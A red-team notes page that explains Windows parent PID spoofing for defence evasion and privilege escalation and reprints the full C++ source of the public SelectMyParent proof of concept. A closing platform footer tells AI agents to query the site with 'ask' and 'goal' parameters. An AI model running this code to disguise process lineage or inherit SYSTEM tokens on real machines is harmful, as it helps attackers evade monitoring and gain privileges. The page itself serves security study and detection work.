> For the complete documentation index, see [llms.txt](https://dmcxblue.gitbook.io/red-team-notes-2-0/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/privilege-escalation/t1134-access-token-manipulation/parent-pid-spoofing.md).

# Parent PID Spoofing

Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use. This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.

Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child  process relationships, such as spoofing the PPID of PowerShell/Rundll32 to be explorer.exe rather than an Office document delivered as part of Spearphishing Attachment. This spoofing could be executed via Visual Basic within malicious Office document or any code that can perform Native API.

Explicitly assigning PPID mal also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (ie. Administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.

**Example:**

This technique was introduced  by Didier Stevesn. A proof of Concept was was written in C++ it was released to the public (SelectMyParent) that could allow the user to select the parent process by specifying the PID (process identifier). The "CreateProcess" function was used in conjunction with the "STARTUPINFOEX" and "LPROC\_Thread\_ATTRIBUTE\_LIST".

At a high level the tool wil create a process then give it the parent PID of our choosing this works because, when using [STARTUPINFOEX](http://msdn.microsoft.com/en-us/library/ms686329%28VS.85%29.aspx) with the right [LPPROC\_THREAD\_ATTRIBUTE\_LIST](http://msdn.microsoft.com/en-us/library/ms683481%28VS.85%29.aspx) to create a process, you can arbitrarely specify the parent process, provided you have the rights (i.e. it’s your process or you have debug rights).

This will open the process PID and grab it's handle.

```
hParentProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
```

Move onto applying the attributes we have specified

```
InitializeProcThreadAttributeList(NULL, 1, 0, &cbAttributeListSize);
		pAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc(GetProcessHeap(), 0, cbAttributeListSize);
```

Then finally updating and pushing them with UpdateProcThreadAttribute

```
UpdateProcThreadAttribute(pAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParentProcess, sizeof(HANDLE), NULL, NULL)
```

Here is the complete code

```
/*
	SelectMyParent: start a program and select its parent process
	Source code put in public domain by Didier Stevens, no Copyright
	https://DidierStevens.com
	Use at your own risk

	Shortcomings, or todo's ;-)
		- Is missing error handling
	History:
		2009/11/22: Start development
*/

#include "stdafx.h"

#include <windows.h>

void DisplayErrorMessage(LPTSTR pszMessage, DWORD dwLastError)
{
	HLOCAL hlErrorMessage = NULL;
	if (FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS | FORMAT_MESSAGE_ALLOCATE_BUFFER, NULL, dwLastError, MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), (PTSTR) &hlErrorMessage, 0, NULL))
	{
		_tprintf(TEXT("%s: %s"), pszMessage, (PCTSTR) LocalLock(hlErrorMessage));
		LocalFree(hlErrorMessage);
	}
}

BOOL CurrentProcessAdjustToken(void)
{
	HANDLE hToken;
	TOKEN_PRIVILEGES sTP;

	if(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
	{
		if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sTP.Privileges[0].Luid))
		{
			CloseHandle(hToken);
			return FALSE;
		}
		sTP.PrivilegeCount = 1;
		sTP.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
		if (!AdjustTokenPrivileges(hToken, 0, &sTP, sizeof(sTP), NULL, NULL))
		{
			CloseHandle(hToken);
			return FALSE;
		}
		CloseHandle(hToken);
		return TRUE;
	}
	return FALSE;
}

int _tmain(int argc, _TCHAR* argv[])
{
	STARTUPINFOEX sie = {sizeof(sie)};
	PROCESS_INFORMATION pi;
	SIZE_T cbAttributeListSize = 0;
	PPROC_THREAD_ATTRIBUTE_LIST pAttributeList = NULL;
	HANDLE hParentProcess = NULL;
	DWORD dwPid = 0;

	_putts(TEXT("SelectMyParent v0.0.0.1: start a program with a selected parent process"));
	_putts(TEXT("Source code put in public domain by Didier Stevens, no Copyright"));
	_putts(TEXT("https://DidierStevens.com"));
	_putts(TEXT("Use at your own risk\n"));
	if (argc != 3)
		_putts(TEXT("usage: SelectMyParent program pid"));
	else
	{
		dwPid = _tstoi(argv[2]);
		if (0 == dwPid)
		{
			_putts(TEXT("Invalid pid"));
			return 0;
		}
		InitializeProcThreadAttributeList(NULL, 1, 0, &cbAttributeListSize);
		pAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc(GetProcessHeap(), 0, cbAttributeListSize);
		if (NULL == pAttributeList)
		{
			DisplayErrorMessage(TEXT("HeapAlloc error"), GetLastError());
			return 0;
		}
		if (!InitializeProcThreadAttributeList(pAttributeList, 1, 0, &cbAttributeListSize))
		{
			DisplayErrorMessage(TEXT("InitializeProcThreadAttributeList error"), GetLastError());
			return 0;
		}
		CurrentProcessAdjustToken();
		hParentProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
		if (NULL == hParentProcess)
		{
			DisplayErrorMessage(TEXT("OpenProcess error"), GetLastError());
			return 0;
		}
		if (!UpdateProcThreadAttribute(pAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParentProcess, sizeof(HANDLE), NULL, NULL))
		{
			DisplayErrorMessage(TEXT("UpdateProcThreadAttribute error"), GetLastError());
			return 0;
		}
		sie.lpAttributeList = pAttributeList;
		if (!CreateProcess(NULL, argv[1], NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &sie.StartupInfo, &pi))
		{
			DisplayErrorMessage(TEXT("CreateProcess error"), GetLastError());
			return 0;
		}
		_tprintf(TEXT("Process created: %d\n"), pi.dwProcessId);
		DeleteProcThreadAttributeList(pAttributeList);
		CloseHandle(hParentProcess);
	}

	return 0;
}

```

Here is a sample of the Demo working

![](/files/-MRhaJnQnu4Ki56x-Pep)

As you can see the payload in now a child process of Firefox with the PID 2696.

We also have another tool from **Julian Horoszkiewics**  which is based of the work of Didier and we can verify the same goal was reached when spoofing our Parent Process. This is achieved through the CreateProcess API

![](/files/-MRhaKSEkbJNgN_OyigK)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/privilege-escalation/t1134-access-token-manipulation/parent-pid-spoofing.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
